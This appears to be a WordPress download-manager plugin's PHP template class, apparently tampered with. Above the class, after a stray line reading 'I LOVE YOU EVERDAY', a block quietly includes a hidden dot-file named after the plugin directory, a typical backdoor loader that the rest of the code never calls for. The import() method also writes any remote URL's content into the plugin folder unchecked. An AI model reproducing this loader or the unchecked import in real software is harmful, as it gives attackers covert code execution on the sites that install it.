#I LOVE YOU EVERDAY#

<?php

namespace WPDM\libs;

use WPDM\Session;
use WPDM\TempStorage;

if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class PackageTemplate
{
    public  $templateType = 'link';
    private $dir;

function __construct($templateType = 'link')
    {
        $this->templateType = $templateType;
        $this->dir = WP_CONTENT_DIR."/wpdm-assets/{$templateType}-templates/";
        FileSystem::mkDir($this->dir, 0755, true);
    }

function type($templateType){
        $this->templateType = $templateType;
        $this->dir = WP_CONTENT_DIR."/wpdm-assets/{$templateType}-templates/";
        FileSystem::mkDir($this->dir, 0755, true);
        return $this;
    }

function covertAll($templateType = null){
        if($templateType !== null)
            $this->type($templateType);

$tpldata = get_option("_fm_{$this->templateType}_templates", false);
        if(!is_array($tpldata))
            $tpldata = maybe_unserialize($tpldata);
        if($tpldata){
            delete_option("_fm_{$this->templateType}_templates");
            foreach ($tpldata as $id => $tpl){
                $file = $this->dir . '/' . $id . '.xml';
                $tpl['content'] = stripslashes_deep($tpl['content']);
                $tpl['css'] = stripslashes_deep($tpl['css']);
                $data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><template><tplid>{$id}</tplid><name>{$tpl['title']}</name><designer>Admin</designer><code><![CDATA[{$tpl['content']}]]></code><css><![CDATA[{$tpl['css']}]]></css></template>";
                file_put_contents($file, $data);

}
        }
        return $this;
    }

function import($url, $templateType = null){

if($templateType !== null)
            $this->type($templateType);
        $data = wpdm_remote_get($url);
        $local_file_path = $this->dir . '/' . basename($url);
        file_put_contents($local_file_path, $data);

}

function add($id, $name, $code, $css = '', $templateType = null){
        if($templateType !== null)
            $this->type($templateType);

$file = $this->dir . '/' . $id . '.xml';
        $code = stripslashes_deep($code);
        $data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><template><tplid>{$id}</tplid><name>{$name}</name><designer>Admin</designer><code><![CDATA[{$code}]]></code><css><![CDATA[{$css}]]></css></template>";
        file_put_contents($file, $data);
        return $this;
    }

function delete($id, $templateType = null){
        if($templateType !== null)
            $this->type($templateType);

$id = wpdm_sanitize_var($id, 'filename');
        if($id && file_exists($this->dir.$id.'.xml'))
            @unlink($this->dir.$id.'.xml');

return $this;
    }

function getCustomTemplates($templateType = null){
        if($templateType !== null)
            $this->type($templateType);
        $_templates = FileSystem::scanDir($this->dir, false, false, '.xml');
        $templates = [];
        foreach ($_templates as $tplid){
            $tplid = str_replace(".xml", "", $tplid);
            $template = $this->get($tplid, $this->templateType);
            $templates[$tplid] = $template;
        }
        return $templates;
    }

function getTemplates($templateType = null, $activeOnly = false){
        if($templateType !== null)
            $this->type($templateType);

$tplstatus = maybe_unserialize(get_option("_fm_{$this->templateType}_template_status"));

$xactivetpls = array();
        $activetpls = array();
        if(is_array($tplstatus)) {
            foreach ($tplstatus as $tpl => $active) {
                if (!$active)
                    $xactivetpls[] = $tpl;
                else
                    $activetpls[] = $tpl;
            }
        }

$all_templates = array();

//Load custom templates
        $custom_templates = $this->getCustomTemplates();
        $all_templates = $custom_templates;

//Load all core template provided with the plugin
        $core_templates_dir = WPDM_TPL_DIR . $this->templateType . '-templates/';
        $core_templates = FileSystem::scanDir($core_templates_dir, false, true, '.php');
        foreach ($core_templates as $core_template){
            $all_templates[basename($core_template)] = $core_template;
        }

//Load all template from parent theme, override core template
        if(get_stylesheet_directory() !== get_template_directory()){
            $parent_theme_dir = get_template_directory() . '/download-manager/' . $this->templateType . '-templates/';
            $parent_theme_templates = FileSystem::scanDir($parent_theme_dir, false, true, '.php');
            foreach ($parent_theme_templates as $theme_template){
                $all_templates[basename($theme_template)] = $theme_template;
            }
        }

//Load all template from active theme, override core or parent template
        $theme_dir = get_stylesheet_directory() . '/download-manager/' . $this->templateType . '-templates/';
        $theme_templates = FileSystem::scanDir($theme_dir, false, true, '.php');
        foreach ($theme_templates as $theme_template){
            $all_templates[basename($theme_template)] = $theme_template;
        }

return $all_templates;

}

function getStyles($templateType = null){
        if($templateType !== null)
            $this->type($templateType);
        $styles = []; //TempStorage::get('__wpdm_custom_link_template_styles');
        //if( $styles !== '' ) return $styles;
        $templates = $this->getCustomTemplates($this->templateType);

foreach ($templates as $template){
            $styles[$template['ID']] = $template['css'];
        }
        $styles = implode("\r\n", $styles);
        //TempStorage::set("__wpdm_custom_link_template_styles", $styles);
        //wpdmdd($styles);
        return $styles;
    }

function dropdown($params, $activeOnly = false)
    {
        extract($params);
        $type = isset($type) && in_array($type, array('link', 'page', 'email')) ? esc_attr($type) : 'link';
        $tplstatus = maybe_unserialize(get_option("_fm_{$type}_template_status"));

$templates = $this->getTemplates($type);

//Field Name
        $name = isset($name)?$name:$type.'_template';

//Field Style
        $css = isset($css)?"style='$css'":'';

//Field ID
        $id = isset($id)?$id:uniqid();

//Default value
        $default = $type == 'link'?'link-template-default.php':'page-template-default.php';
        $xdf = str_replace(".php", "", $default);
        if(is_array($xactivetpls) && count($xactivetpls) > 0)
            $default = (in_array($xdf, $xactivetpls) || in_array($default, $xactivetpls)) && isset($activetpls[0])?$activetpls[0]:$default;

$html = "<select name='$name' id='$id' class='form-control template {$type}_template' {$css}><option value='$default'>Select ".ucfirst($type)." Template</option>";
        $data = array();
        if(is_array($templates)) {
            foreach ($templates as $id => $template) {
                $name = null;
                $_id = str_replace(".php", "", $id);
                if(!$activeOnly || ($activeOnly && (!isset($tplstatus[$_id]) || (int)$tplstatus[$_id] === 1))) {
                    if(!is_array($template)){
                        $tmpdata = file_get_contents($template);
                        $regx = "/WPDM.*Template[\s]*:([^\-\->]+)/";
                        if (preg_match($regx, $tmpdata, $matches)) {
                            $name = $matches[1];
                        } else continue;
                    } else {
                        $name = $template['name'];
                    }
                    if($name) {
                        $eselected = isset($selected) && $selected == $id ? 'selected=selected' : '';
                        $html .= "<option value='{$id}' {$eselected}>{$name}</option>";
                    }
                }
            }
        }

$html .= "</select>";

return $html;
    }

}